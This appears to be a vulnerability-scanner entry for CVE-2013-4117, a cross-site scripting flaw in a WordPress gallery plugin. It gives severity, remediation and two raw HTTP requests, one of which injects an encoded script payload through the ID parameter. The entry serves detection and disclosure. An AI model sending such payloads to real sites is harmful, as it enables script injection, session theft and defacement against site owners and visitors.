| Title | WordPress Plugin Category Grid View Gallery 2.3.1 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the WordPress Plugin Category Grid View Gallery or apply the provided patch to fix the XSS vulnerability. |
| CVSS Score | 4.3 |
| EPSS Score | 0.11755 |
| CVE ID | CVE-2013-4117 |
| CWE ID | CWE-79 |
| Tags | cve2013 cve seclists packetstorm wordpress xss wp-plugin anshul_sharma vuln |
A cross-site scripting vulnerability in includes/CatGridPost.php in the Category Grid View Gallery plugin 2.3.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ID parameter.
GET /wp-content/plugins/category-grid-view-gallery/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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